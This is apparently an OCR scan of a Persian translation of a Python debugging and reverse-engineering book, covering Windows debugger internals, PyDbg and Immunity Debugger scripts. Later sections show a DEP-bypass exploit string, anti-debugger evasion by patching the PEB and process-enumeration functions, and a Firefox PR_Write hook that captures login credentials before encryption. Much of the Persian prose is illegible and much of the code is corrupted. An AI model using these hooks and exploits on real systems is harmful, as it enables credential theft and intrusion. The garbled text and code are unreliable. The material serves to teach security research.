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50 Domain Name Server
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MSDN CreateProcess Function (http://msdn2.microsoft.com/en-us/library/ms682425.aspx).

BOOL WINAPI CreateProcessA(
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LPSECURITY_ATTRIBUTES IpProcessAttributes,
LPSECURITY_ATTRIBUTES IpThreadAttributes,
BOOL blnheritHandles,
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LPVOID IpEnvironment,

LPCTSTR IpCurrentDirectory,
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LPprocess INFORMATION IpProcessInformation
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MSDN STARTUPINFO Structure (http://msdn2.microsoft.com/en-us/library/ms686331.aspx).

MSDN PROCESS_INFORMATION Structure (http://msdn2.microsoft.com/en-us/library/ms686331.aspx).
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HANDLE WINAPI Openprocess(
DWORD dwDesiredAccess,
BOOL binheritHandle
DWORD dwProcessld
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BOOL WINAPI DebugActiveProcess(

DWORD dwProcessid
);
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BOOL WINAPI WaitForDebugEvent(
LPDEBUG_EVENT IpDebugEvent,
DWORD dwMilliseconds
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9 Process handle

80 prototype

81 MSDN DEBUG_EVENT Structure (http://msdn2.microsoft.com/en-us/library/ms679308.aspx).
82 Eyent Handler
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83 MsbN DebugActiveProcessStop Function (http://msdn2.microsoft.com/en-us/library/
ms679296.aspx).
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# raw_input("Press any key to continue...")
# self.debugger_active = False
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HANDLE WINAPI OpenThread(
DWORD dwDesiredAccess,
BOOL binheritHandle,
DWORD dwThreadld
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84 Instruction Pointer

85 Thread

86 MSDN OpenThread Function (http:/msdn2.microsoft.com/en-us/library/ms684335.aspx).
87 Thread Identifier
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HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwkFlags,

DWORD th32ProcessID
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BOOL WINAPI Thread32First(
HANDLE hSnapshot,
LPTHREADENTRY32 Ipte

);

88 Thread Enumeration

89 Multithreade

9 MSDN CreateToolhelp32Snapshot Function (http://msdn2.microsoft.com/en-us/library/ms682489.aspx).
91 Heap List

92 MSDN Thread32First Function (http://msdn2.microsoft.com/en-us/library/ms686728.aspx).
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typedef struct THREADENTRY32{
DWORD dwsSize;
DWORD cntUsage;
DWORD th32ThreadID;
DWORD th320wnerProcessID;
LONG tpBasePri;
LONG tpDeltaPri;
DWORD dwFlags;

b
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BOOL WINAPI GetThreadContext(
HANDLE hThread,
LPCONTEXT IpContext

);

BOOL WINAPI SetThreadContext(

93 MSDN THREADENTRY32 Structure (http://msdn2.microsoft.com/en-us/library/ms686735.aspx).
94 MSDN Thread32First Function (http://msdn2.microsoft.com/en-us/library/ms686728.aspx)

95 MSDN GetThreadContext Function (http://msdn2.microsoft.com/en-us/library/ms679362.aspx).
96 MSDN SetThreadContext Function (http://msdn2.microsoft.com/en-us/library/ms680632.aspx).
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97 Segment Register
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typedef struct DEBUG_EVENT {

DWORD dwDebugEventCode;

DWORD dwProcessld;

DWORD dwThreadld;
union {
EXCEPTION_DEBUG_INFO Exception;
CREATE_THREAD_DEBUG_INFO CreateThread;
CREATE_Process DEBUG_INFO CreateProcesslnfo;
EXIT_THREAD_DEBUG_INFO ExitThread;
EXIT_Process DEBUG_INFO ExitProcess;
LOAD_DLL_DEBUG_INFO LoadDll;
UNLOAD_DLL _DEBUG_INFO UnloadDlI;
OUTPUT_DEBUG_STRING_INFO DebugsString;
RIP_INFO Ripinfo;

T

%
Sl e Sl bl 4, ol Ll b (g1, dwDebugEventCode dls 5,05 553 5 Olezstle pl 53 (65l e Sl

Ll odd e 31 Jgd 3 $Slos Caliben gls 3l 5, . SCn s Lils K 3, WaitForDebugEvent() b

3l gy A8 3l gy ST ls U !l Union laas

CREATE_THREAD_DEBUG_EVENT u.CreateThread
EXIT_THREAD_DEBUG_EVENT u.ExitThread

LOAD_DLL_DEBUG_EVENT u.LoadDlIl
OUPUT_DEBUG_STRING_EVENT u.DebugsString

% Handler
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99 Breakpoint
100 Exception Event
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if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):
# Let's obtain the thread and context information
self.h_thread = self.open_thread(debug_event.dwThreadld)

self.context = self.get_thread context(self.h_thread)
print "Event Code: %d Thread ID: %d" %
(debug_event.dwDebugEventCode, debug_event.dwThreadld)
# If the event code is an exception, we want to
# examine it further.
if debug_event.dwDebugEventCode == EXCEPTION_DEBUG_EVENT:
# Obtain the exception code
exception =
debug_event.u.Exception.ExceptionRecord.ExceptionCode
self.exception_address =
debug_event.u.Exception.ExceptionRecord.ExceptionAddress
if exception == EXCEPTION_ACCESS_VIOLATION:
print "Access Violation Detected."
# If a breakpoint is detected, we call an internal
# handler.
elif exception == EXCEPTION_BREAKPOINT:
continue_status = self.exception_handler_breakpoint()
elif ec == EXCEPTION_GUARD_PAGE:
print "Guard Page Access Detected."
elif ec == EXCEPTION_SINGLE_STEP:
print "Single Stepping."
kernel32.ContinueDebugEvent( debug_event.dwProcessld,
debug_event.dwThreadld,
continue_status )
def exception_handler_breakpoint():
print "[*] Inside the breakpoint handler."
print "Exception Address: 0x%08x" %
self.exception_address
return DBG_CONTINUE
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0" Hardware breakpoint
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my_debugger.py

102 MspN ReadProcessMemory Function (http://msdn2.microsoft.com/en-us/library/ms680553.aspx).

103 MspN WriteProcessMemory Function (http://msdn2.microsoft.com/en-us/library/ms681674.aspx).
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104 MSDN GetProcAddress Function (http:/msdn2.microsoft.com/en-us/library/ms683212.aspx).
105 MSDN GetModuleHandle Function (http://msdn2.microsoft.com/en-us/library/ms683199.aspx).
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printf_loop.py
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my_debugger.py

class debugger():
def __init__(self):
self.n_Process = None
self.pid = None
self.debugger_active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
self.first_breakpoint= True
self.hardware_breakpoints = {}

108 Exception

197 Context Record
108 Single-Step event
109 Exception Handler
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"0 python Dictonary
"1 Flags
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my_debugger.py

;:.Ilass debugger():

def get_debug_event(self):

if self.exception == EXCEPTION_ACCESS VIOLATION:
print "Access Violation Detected."

elif self.exception == EXCEPTION_BREAKPOINT:
continue_status = self.exception_handler_breakpoint()

elif self.exception == EXCEPTION_GUARD_PAGE:
print "Guard Page Access Detected."

elif self.exception == EXCEPTION_SINGLE_STEP:
self.exception_handler_single_step()

def exception_handler_single_step(self):
# Comment from PyDbg:
# determine if this single step event occurred in reaction to a
# hardware breakpoint and grab the hit breakpoint.
# according to the Intel docs, we should be able to check for
# the BS flag in Dr6. but it appears that Windows
# isn't properly propagating that flag down to us.
if self.context.Dr6 & 0x1 and self.hardware_breakpoints.has_key(0):
slot=0
elif self.context.Dr6 & 0x2 and self.hardware_breakpoints.has_key(1):
slot=1
elif self.context.Dr6 & 0x4 and self.hardware_breakpoints.has_key(2):
slot = 2
elif self.context.Dr6 & 0x8 and self.hardware_breakpoints.has_key(3):
slot =3
else:
# This wasn't an INT1 generated by a hw breakpoint
continue_status = DBG_EXCEPTION_NOT_HANDLED
# Now let's remove the breakpoint from the list
if self.op_del_hw(slot):
continue_status = DBG_CONTINUE
print “[*] Hardware breakpoint removed."
return continue_status
def bp_del_hw(self,slot):
# Disable the breakpoint for all active threads
for thread_id in self.enumerate_threads():
context = self.get_thread context(thread_id=thread_id)
# Reset the flags to remove the breakpoint
context.Dr7 &= ~(1 << (slot * 2))
# Zero out the address
if slot == 0:
context.Dr0 = 0x00000000
elif slot == 1:

context.Drl1 = 0x00000000

"2 Exception Handler
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113 Reset
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Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:

6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
2 Thread ID:
1 Thread ID:

3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
2228
2228

[*] Exception address: 0x7¢901230
[*] Hit the first breakpoint.

Event Code: 4 Thread ID: 2228
Event Code: 1 Thread ID: 3704

[*] Hardware breakpoint removed.
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"4 Guard Page

"5 Query

18 MSDN GetSystemInfo Function (http://msdn2.microsoft.com/en-us/library/ms724381.aspx).
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"7 MSDN SYSTEM_INFO Structure (http://msdn2.microsoft.com/en-us/library/ms724958.aspx).

"8 Memory breakpoit

9 MSDN VirtualQueryEx Function (http://msdn2.microsoft.com/en-us/library/aa366907.aspx).

120 \MSDN MEMORY_BASIC_INFORMATION Structure (http:/msdn2.microsoft.com/en-us/library/aa366775.aspx).
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my_debugger.py

121 MSDN VirtualProtectEx Function (http://msdn.microsoft.com/en-us/library/aa366899(vs.85).aspx).

122 Global list
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return False
# Increase our range by the size of the
# default system memory page size
current_page += self.page_size
# Add the memory breakpoint to our global list
self.memory_breakpoints[address] = (address, size, mbi)
return True
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123 User-mode

124 http://code.google.com/p/paimei/.
125 Crash

126 ShapShot

127 Callback

128 Offset
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::)isﬁj%&ﬂ\é)@\rj@)

| bp_set(address, description="",restore=True,handler=None) |

@ ke description zelyly 3,8 51,3 ad 0T 55 ()13l o5 4y dal e Lo 8 Sl gl T 315,> address i)l
i oslitwl 401 ) s 4db g ol a\gtﬁrestoreﬁ\,g.;ﬁAM\@)Jméué)u;al(,u&io;uﬂ;é\ﬁmjfﬁ@\
&b .;wg\}s\;@}du!uml?@); cl:s\g-u\&,aub..&ﬁhandler;ﬁblw;ﬁ sdzee ()10 el y 485 55 Sy o w
SleMbl 5 e 55, s aL ples .l pydbg() S S 4;,,.;5\1@?\});45,;& Sl oK g My 28850 Sl
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Ja.ﬁ,z,‘_;ﬁ,'p;;t,wét,Pugcﬂla\.\gu;oT@.gpst?qlﬁw&&».r_;@@gloomwg;ugw
50 sl e 05l B G Cal el 5B s 4 B it bl Ll o 3 s 03 1y Lasl 55 (658 5

s 50T 41y 598 5, 4,13K printf_random.py 1, o7 ol

printf_random.py

from pydbg import *
from pydbg.defines import *

import struct
import random

# This is our user defined callback function

def printf_randomizer(dbg):
# Read in the value of the counter at ESP + 0x8 as a DWORD
parameter_addr = dbg.context.Esp + 0x8
counter = dbg.read_Process_memaory(parameter_addr,4)

# When we use read_Process_memory, it returns a packed binary
# string. We must first unpack it before we can use it further.
counter = struct.unpack("L",counter)[0]

print "Counter: %d" % int(counter)

# Generate a random number and pack it into binary format

# so that it is written correctly back into the Process
random_counter = random.randint(1,100)

random_counter = struct.pack("L",random_counter)[0]

# Now swap in our random number and resume the Process

dbg.write_Process_memory(parameter_addr,random_counter)

129 callback Breakpoint
130 Context

31 Thread

32 Counter
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133 Crash
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buffer_overflow.py

from ctypes import *
msvcrt = cdll.msvert

# Give the debugger time to attach, then hit a button
raw_input(*Once the debugger is attached, press any key.")

# Create the 5-byte destination buffer
buffer = c_char_p("AAAAA™)

# The overflow string
overflow = "A" * 100

# Run the overflow

msvcrt.strcpy(buffer, overflow)

AS syl 0y 45 dS 5 AS sl access_violation_handler.py (’U Lous L6 S ,ﬁ)b ST Gl g S YV

access_violation_handler.py

from pydbg import *

from pydbg.defines import *

134 Access Violation
135 Buffer Overflow
136 NULL Pointer
137 Stack Frame

138 Binary Patch
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# Utility libraries included with PyDhg
import utils

# This is our access violation handler
def check_accessv(dbg):

# We skip first-chance exceptions
if dbg.dbg.u.Exception.dwFirstChance:
return DBG_EXCEPTION_NOT_HANDLED

crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
print crash_bin.crash_synopsis()

dbg.terminate_Process()
return DBG_EXCEPTION_NOT_HANDLED

pid = raw_input("Enter the Process ID: ")

dbg = pydbg()

dbg.attach(int(pid))
dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,check_accessv)
dbg.run()

8 g2 daads |y OT (6l ol ol ot ys s Slj G asl s ol dsyls s 1y OT PID 5 4S™ | -1 1, buffer_overflow.py L6 Yi-

|11, (buffer_overflow.py) cos sl &S sl 53 1, IS &, S | 1 1, access_violation_handler.py L6 Y- .dil.

i g and (e A Lb Ll lik wles S

\ python25.dll:1e071cd8 mov ecx,[eax+0x54] from thread 3376 caused access
violation when attempting to read from 0x41414195

2 CONTEXT DUMP
EIP: 1e071cd8 mov ecx,[eax+0x54]
EAX: 41414141 (1094795585) -> N/A
EBX: 00b055d0 ( 11556304) -> @U ™" B Ox, O )Xb@|V "L{O+H]$6 (heap)
ECX: 0021fe90 (2227856) -> 1$4/7|4|@%,\!$H8|!OGGBG)00S\o (stack)
EDX: 00aldc60 ( 10607712) -> VO'w' W (heap)
EDI: 1e071cd0 ( 503782608) -> N/A
ESI: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
EBP: 1el1cf448 (505214024) -> enable() -> NoneEnable automa (stack)
ESP: 0021fe74 (2227828) -> 2? BUH" 7|4|@%,\!$H8|'OGGBG) (stack)
+00: 00000000 ( 0) -> N/A
+04: 1e063f32 ( 503725874) -> N/A
+08: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
+0c: 00000000 ( 0) -> N/A
+10: 00000000 (0) -> N/A
+14: 00b055¢c0 ( 11556288) -> @F@U™ B 0x, O )Xb@|V "L{O+H]$ (heap)
3 disasm around:
0x1e071cc9 int3
0xle071cca int3
0x1e071cch int3
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from pydbg import *
from pydbg.defines import *

import threading
import time
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5 exe_path = "C:\WINDOWS\System32\\calc.exe"
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return DBG_CONTINUE
else:

# Disassemble this instruction

instruction = dbg.disasm(dbg.context.Eip)

print "#%d\t0x%08x : %s" % (instruction_count,dbg.context.Eip,instruction)
instruction_count +=1

dbg.single_step(True)
return DBG_CONTINUE

dbg = pydbg()

pid = int(raw_input("Enter the PID you wish to monitor: "))
dbg.attach(pid)

# Track down all of the dangerous functions and set breakpoints
for func in dangerous_functions.keys():
func_address = dbg.func_resolve( dangerous_functions[func],func )
print "[*] Resolved breakpoint: %s -> 0x%08x" % ( func, func_address )
dbg.bp_set( func_address, handler = danger_handler )
dangerous_functions_resolved[func_address] = func

dbg.set_callback( EXCEPTION_ACCESS VIOLATION, access_violation_handler )
dbg.set_callback( EXCEPTION_SINGLE_STEP, single_step_handler)

dbg.run()
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from immlib import *

def main(args):

# Instantiate a immlib.Debugger instance
imm = Debugger()

return "[*] PyCommand Executed!"
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from immlib import *
class MyHook( LogBpHook ):

def __init__ (' self):
LogBpHook.__init__( self)
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def run( regs ):
# Executed when hook gets triggered
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158 Data Execution Prevention http://support.microsoft.com/kb/875352/EN-US/.
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Found:
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[*] Finizhed searching for instuctions, check the Log window,
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%ﬁlég,,ﬁ&nm\;g; & $bulS” SireadMemory() gl 5 51 Lo g 1550 be, s 5 oSl gyl opl o
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5945 ;3 DEP 035 ,555.1.5
Slgtand 43 A (gl >l 5l Clablows g1y (XP SP2, 2003, Vista) Calu s Sole (gla Ssdn g 55 oS Sl alablows (e <. DEP
S 3alee ST 55 Syl (le S ST aSLE |l ol s 53 Ll gz bl cpl ik (g5l 100 Tes g 5 anty ASle alibl> Calzes
3 el sl i, oSG e S aiSn (65l S5 iy b g o35 53 1l Olej b 1y 5 45 aSLi L S| iy 45| o 558
OT Gl Jl 53 &S Gyl s 03,5 Jab e (gl 55405 API di.lu.;bi-‘jéj‘b&‘ﬁijJJ‘Jéﬁij&i‘
S g aige al a5 09 ols S5k s IS 4 1y |l U ST ooty 4 dado o3lrl Lo s cpl o708 oslizl s
&lgw 55T Lo (sl &85 15 findantidep.py ¢ « PyCommand S 35 ol s immunity Slos o555 L 53,05 15 4ty 5> IS
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S e3linl 3 5 (gl p e (la )3T 038 Iy (sl 5 5 5 PyCOmmand i e 5 il

ob 4 o dite b S S oslimul s &S gl DEP 058 Jé L glp Lilse s oS (gsdus API

3,03 5 and o SN &S ol NitSetinformationProcess()'*

NTSTATUS NtSetInformationProcess(
IN HANDLE hProcessHandle,
IN Process_INFORMATION_CLASS ProcessinformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength );

ol g 1, NtSetinformationProcess() ot S wyls glol b s ¢S gl DEP 055 Jé e ol étﬂz

4 AL Processinformation )l 5 s s"l“ Process-ExecuteFlags(0x22) L ProcessinformationClass
333y Sl 5 ol il 6l Lot AL sl s oS SCie 5 5 (L5 MEM_EXECUTE_OPTION_ENABLE(0x2)

bSM.(@sL&J:{‘JK#;)}AJ>82L;W).s)l.s.aﬁjh.&hicwg\jﬁwiu&hﬁ‘%&ﬂbgsgl.w

162 Heap
163 http://www.uninformed.org/?v=2&a=4&t=txt.

164 http://undocumented.ntinternals.net/UserMode/UndocumentedFunctions/NTObjects/Process/NtSetIinformationProcess.html.
165 NULL
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AL ails

7C91D3F8 . 3C 01 CMP AL,1

7C91D3FA . 6A 02 PUSH 2

7C91D3FC . 5SE POP ESI

7C91D3FD . 0F84 B72A0200 JE ntdll.7C93FEBA

7C93FEBA > 8975 FC MOV DWORD PTR SS:[EBP-4],ESI
7C93FEBD .~E9 41D5FDFF JMP ntdll.7C91D403

7C91D403 > 837D FC 00 CMP DWORD PTR SS:[EBP-4],0
7C91D407 . 0F85 60890100 JNZ ntdll.7C935D6D

7C935D6D > 6A 04 PUSH 4

7C935D6F . 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
7C935D72 . 50 PUSH EAX

7C935D73 . 6A 22 PUSH 22

7C935D75 . 6A FF PUSH -1

7C935D77 . E8 B188FDFF CALL ntdll.ZwSetIinformationProcess

355 KL AL s sin 32 ie LEST o 5,08 odalin & e LAL 4l 53 amglin & ol st b YU U875

WS 083) 3 sds Jaze EBP-4 5 anty ine &S5 4 ESI T 1.cils dal g 5 5 5 OXTCIBFEBA. & b 5 5y &S5 s
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DEP & & b Sl b Process oS’ 8 oS Ol -1 -1 e 5 0X22 (sla o OT JLs 4 e 3 se 42y 3,15
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et Sl oWl e Sl uS T &l S Six e -dshes plwil (NtSetinformationProcess sl

Dl 55 &y see 4 NtSetInformationProcess()

| NtSetInformationProcess( -1, 0x22, 0x2, 0x4 ) |

EAX S b o) LAL e oo credas ol zloml immen Lo oS 1l 15 087 0T e al 51 S 35 987 ol 61 )
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Insert the Asm code to search for x|

JMP ESP

k. I Cancel

S s AL by 5 51 s S e

Please, choose the Third return Address [jun El

vAppPatchhacGenral DLL

k. I Eancell

v_”&,ﬁgtsam@\a.\,:u\“;,:f,-pr,m,.fgwﬁTu‘w

3%¢¢‘*6°M)’b@')ﬁ"~‘i‘iw¢4€3ﬁ

stack = "\x75\x24\x01\X01\XFAXFAXFAXFAX56\x31\X91\X7 \XFAXFAXFAXFF" + A" * 0x54 + "\x75\x24\x01\x01" +

shellcode

Cd oS B (61 5 Lo U g2n o Sl ! 51 3 lianl ST Bloedl ASUE U 3 55 ST 3 1y Lot ol il s ) s L Yl
ST Szt 1 ChB ol o s g S (Sla S ST 5 ST ST, S ST DEP L sla O (555 4l 51 0L s
S Sl & 68 ety e Lok ol 36 30 a3 G 4 s (gt Sl iz Ol bt 1 Jle Jle &Kl
b & Y S sl Ol 6 ST L1y (55 Olirebl BB 5 Jom LB sl oy ST 205 (sl Lok 4 L g2e 051l o5l

.(..gﬁ)js\)LaJljél.\.ﬁJ:d?lﬁ:—wdjw Sl o5 5 Sl (65455 Immlib i etz

eyl 2l s glﬁ;—.&é S 59, 055 5565.1.6
o3l O Jelos 31 0L g5 (53l (e 5 L8] 55l 02 0T (5 8l St 5 it e GLESESS 1 G5 Ll 1y

530 3N Vgana byl 31y (650505 (5355 b 5 S 5l onlind e, IS b 5 05 U pans sla (6557 s S

188 Obfuscation
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s 55 035 993 Sl GBS e 5 00l 2815 S-S p g o sla (5

IsDebuggerPresent 5.1.7
ab ol el e 2l Sl kernel32.dll 51 4T ol IsDebuggerPresent b i eslizl Shosds IS £ 3

CU&‘LAi‘&‘}&)LMDE@)F})‘)O} "‘“:"LLQJL"U‘"“""})‘iW;Lijiiid‘{é)j‘pj':blﬁ>ﬁ:“6jubti

7C813093 > /$ 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]
7C813099 |. 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
7C81309C |. OFB640 02 MOVZX EAX,BYTE PTR DS:[EAX+2]
7C8130A0 \. C3RETN

Y same 45 1, PEB™' 3T U8 bl 315 50 (5,108 L 315 1 5FS SoLs 55 0x18 T 45 45 TIBY® 03T 31 ily 53 1S
¢S« BeingDebugged 4. L |, EAX Bl 02 o s dSn S L TIP 51y 5505 )1 3FS ools s 0x30 sl s
ol &S 15 in a3 OXL 4y oyl 3L od dras g 4 S &K 815 15 PEB ;3 0X2 ST 5, ol PEB I yoae
PyCommand ¢S5 53 dil e 65" gl Jas &S5 ST &K 5, 1 IMmunity 31508 Olasls Lo 5 5520 01 055 535 & 03l

2358 | ol Immunity Slos 53 b JE 516 55,5 513

| imm.writeMemory( imm.getPEBaddress() + 0x2, "\x00" ) |
@A.uiﬁs,,ﬁas.ufnwt ooy op) 314 o e anlip sVl 5,08 a0 TEB 5 1, BeingDebugged i Cf'ﬁJ°"§¢;ﬁ‘

.@\omwdf@.;
W\W);; Ju))l.s Q); )bel?
&LAW‘)J?QJJ?)Q)}&)JU.wa)j\)M‘f‘db):W6j)4§‘)Lw)ﬂ(wW&wwu)‘f‘.\;
i3 €SS Ol e 4 ImmunityDebugger.exe , 1S oslizal s 5 ¢SS 0, s Immunity Sls ks 1,0k gl , a8
03 S I (sl Process32First el Sl e sla 1 el dl 5o Slguns S5y 5 3KS Gl ghes S5 |l Jl s

3 pled 0357 Iy ¢l Process32Next GUJIW},@uu@\Wdu et 3 g3 e 33 0l S s )

69 Thread Information Block
170 process Enviroment Block
171 Process Iteration
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035 Gon wB LT 0 8o 0l 4y o ils Koo 5L i £ 5l o &0 il sla Gl 8 al (550 8 S sl s
A o8 o 31 e 087 i e 28l b 55 0 e 4 EAX 055 o L1 ml5 ol 635 0 calaly et b Sl

V"if oslatul Cj.p}a ol 8l Cws gl Immunity Jpr

\ Process32first = imm.getAddress("kernel32.Process32FirstW")

Process32next = imm.getAddress("'kernel32.Process32NextW")
function_list = [ Process32first, Process32next ]

Y patch_bytes = imm.Assemble( "SUB EAX, EAX\nRET" )

for address in function_list:
¥ opcode = imm.disasmForward( address, nlines = 10 )

f imm.writeMemory( opcode.address, patch_bytes )

L@JT&|£4§Q\6\jwd§1):\)L@ijﬁ:ﬁ‘4ﬁ.U}&cJL&:M\Lhwjjéwﬁjl{6|ﬂu\;§|j::ﬂ4§cb§j:ﬁu.»):T\.X:J.\LA
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A 3 6T 03572 56 (5l il soe Lok 87 0502 (S g SRl 3l o ks g 0 LT 5 ol (S0 15314 457 505 5 g
51y 3 gle Cu ST B S eslial s ST I Immunity Slus 55 &7 cdide 30 1 Al se bed Yl fod L6 OLL

S ealizal b1l b ojole sl LT 51l g S875 5 Sy g 40 8 s 5 (ol 1l 5 s 50 (657 0B S gls Ol

m\;,w&sw}&wmc@);mqx|w6ﬁzp¢w\>ggﬁe§}kdudj}s};§:G;ﬂ@@li;,\i)uiw,
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72 Boolean
173 patch
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Mh&b))llo Jﬁ)l{ﬁLSLA;la&jwqu}:'s;i)u\ﬁéu&g_’)@df}A&‘5‘}3&&\6‘4.14;[{

c\,,.;\étijDBGjn,u{tu.{,,";fx.auuw&;;,AL;ud;jsjﬁzd,b,aJuuL;tﬁﬁ;uu:.:ﬁbwmg&u)\jum
&l Immunity $Ls o3l b S S5 g8 S & o @iSn 030l 0 oy SO ol (sl 01 5 sla S s
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74 Hooking

175 Process-observation
176 Keylogger

177 Soft

78 Hard

79 Memory-Management
180 gniff

81 High-performance

182 Heap
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PYDBG jl esliul L p 5 ¢S 52 6.1
oy 4] (51 Jgomn 5l 4l i 5 Y 3 0s (650505 S5 i oS a0 OT L el i Lo o7 Je )
Sline 0 Sn sutilnl Wireshark ™ fre eSCa1 5 Jows 5150 &S5 51 Loy tils Byl aSs b Ol b 5 (5,20 sla 4ol &S
d&,ﬁauﬁp@,;,wb)v@.}ya\j,@\;)wxﬁbL;JLis}UJLU\.U\};:aJdéStyy@l,awireshark
Ham 5 0 oy 5 S 15 Slelbl il bo e oS on (50555 Sl eslinal Lusyy (o o055 s OT (555 adlllas Jl> 5 &8

.véfauy,.\:u,'pj.\,:G,\,:)A)ut,.;umagﬁ&;g

&;J)fd‘gﬁj‘"@ L‘ﬁ\jbuﬂl}uduﬂJ‘Jé.bﬁv\ﬁ‘)ﬁ-MOZi”aFirefOX\AFjQ—L’}AJQ)JM&?}J?JJJALO;.}M
@ 5 55h5ey a1 51 L8 1, firefox.exe s, Sledbl a8 Cal il g aiby 5 (| s S 53 45 L j8) Sl atas

et )18 s

33,5 N (55555 51 g Lok im0l oy OS] 3315 5 Jgten o7 la Gl 3 L 5 St s Ss sln il

R ] http://forum.immunityinc.com/index.php?topic=35.0. 3T ;5 s ezeil 534S ,¥ 55k 2l gla Sl 3

S eslial,

,WW&):Ls\f&lq._iTjiul,@ldld}umlfj,:)\x:ﬁ)dfﬁQ>\>)|J§Lg|ﬂspl>'-6¢]a.&@.a4§.xt:§4q-j3
&b ! Sl 3 dm il ol A 4 S nspra.dil 1 &S ol PR_Write ob S O Sﬁ,l.\f@dlﬁ\, opl
).)_5Ls)lia}d)j‘g}.;QLPLE‘JALZ/‘K{))‘J)\J;[ESP*‘S])béﬁ‘&hﬁf‘)\fﬂdb"'dgi@;O)u|hs-§f_,v\—&s:~w‘}>)>

Lot a8 51 s, 5 5 WEEPST//WWW.0PENTCe.org ol say e ke 3550 sls Colw 51 S 4 5,48 5L 1, Firefox S,
Wiy ¢ 5 LS darans FIrEfOX.EXE s 4 |y IMmunity Slos di 108 L amis 5 5,8 Jsd 1y 0kaT SSL sl 5 5
wéﬁ)\fcuo\};o@>,|;;}?,>,,)‘5\j’r;¢§10penRCE ol Conly Caw YU s . as I 3 nspra.PR_Write g5,
Y- 5 gt Sl 3 alobd Lad adsy .S <SS 10GIN (g5) » 5 S 3505 15 teSt (6 aadS 58 (6 4dS Ol gie 4w g test
Ate a2ty 53 2dy S o il &S Lol 5 a3l 53 5 05bp3 iy SIS L 5 dons wals FO 035 ,1SG L1y 55 IS

A 3T 1 ) dile azsy &K oS

| [ESP + 8] => ASCII "username=test&password=test&remember_me=on" |

183 http://www.wireshark.org

184 http:/iwww.mozilla.com/en-US/
185 Secure Socket Layer

186 Derefrence
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ples HL:A:(JQJ4§7..5'~QYJJ\)Q\:L;&O{‘J,f‘u,ﬁ:;@li):c.éb Soge 4y o5 6wl 5 6 Pl b ol b
&l A I8 55 OpenRCE I i slgnlo (sl 6585555 ol 5 Lial g 0 g b i SSL s 08 (6K 50, b Sledbs|
O3y 5 el 1y DUl il e 65K Aty 5 2 05 e Sl Sl s e o5 4 ) pad e ol Sl sl e

ST 353 e
J}S-JJ\JWJ}&LQ\CLJSJ?:{QQJ;SS}on)b&&.\.llf\v\b.\Lwi»,PyDBGj\a;l.i:,.«\lerjp.aesb)\ﬁ\g\j

:A:;fasu;w\ﬁj)};wajl.\:i\}zzﬁo.u)b&;ﬁi,ﬁélﬂ.gb«i}

| hooks = utils.hook_container() |
&S g bl 05,8 6Ll 1, hook_container S 51 add() sz 1,0kl &5 4 0T 05,8 6Ll 5 ¢S on & L w5 4l 5

Zg;w\ﬁjQ)chUL;}gl.A:{aJM\

| add( pydbg, address, num_arguments, func_entry_hook, func_exit_hook ) |

Fyes Sﬁv\glwu45@1G‘LiﬁJ,JTé\;)gaddress,u\,li,@\pydbgJ,:,uL;»gii@Mqutuudj\jubg
ol Ao Silys DLELT dr Ooda mb 4 S S ml 4 NUM_arGUMeNts il 5 s 13 aki 0T s 1,
Sl 3l dn deolBD 5 (ENrY) i | >l &S ga s a1y U &S (gl u;:.?)'l{ =l func_exit_hook 4 func_entry_hook
a:l:cl}aﬁlA{Lgiu;ﬂ\)lis\g_-.\.u.ﬁqq-}:ﬁ.\.:a\ﬂ4§@é|y6|ﬂv‘v6:3J}L§L¢S}A.M(exit) agwuausﬁcu

s ke w5 S5k e 35 M s 5 sl ST ga oS Sl 5 dites ke L gl

sl il 5 and o Sl Led (53,5 S sa 2281 o

def entry_hook( dbg, args ):
# Hook code here
return DBG_CONTINUE

I Ao = e S G ANGS eyl 3 ok e3linul S g 0557 (a5 (gl p 45T ol PYADY ane b oSS dbY elsl
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def exit_hook( dbg, args, ret ):
# Hook code here
return DBG_CONTINUE

87 Entry hook
188 Exit Hook
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# Resolve the function address
hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write™)

if hook address:
# Add the hook to the container. We aren't interested
# in using an exit callback, so we set it to None.
hooks.add( dbg, hook_address, 2, ssl_sniff, None )
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address
break
else:
print “[*] Error: Couldn't resolve hook address."
sys.exit(-1)

if found_firefox:
print “[*] Hooks set, continuing Process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe Process."

sys.exit(-1)
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[*] Attaching to firefox.exe with PID: 1344

[*] nspr4.PR_Write hooked at: 0x601a2760

[*] Hooks set, continuing Process.

Pre-Encrypted: username=test&password=test&remember_me=on
Pre-Encrypted: username=test&password=test&remember_me=on

Pre-Encrypted: username=jms&password=yeahright!&remember_me=on
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Immunity $s 5l eslical b v oS 48 6.2
35 S G izmas 5 el 5 bt G555 pl ity S S g (555 Ll ad 6 4 L Y
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imm = immlib.Debugger()
fast = immlib.FastLogHook( imm )

fast.logFunction( address, num_arguments )
fast.logRegister( register )
fast.logDirectMemory( address )

fast.logBaseDisplacement( register, offset )
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logRegister( register )
logBaseDisplacement( register, offset )
logDirectMemory( address )
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BOOLEAN RtlFreeHeap(
IN PVOID HeapHandle,
IN ULONG Flags,

189 Allocated

190 tuple

91 Heap Overflow
192 Nicolas Waisman
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hook _list = fast.getAllLog()

rtlallocate, rtifree = imm.getKnowledge("FuncNames")
for a in hook_list:

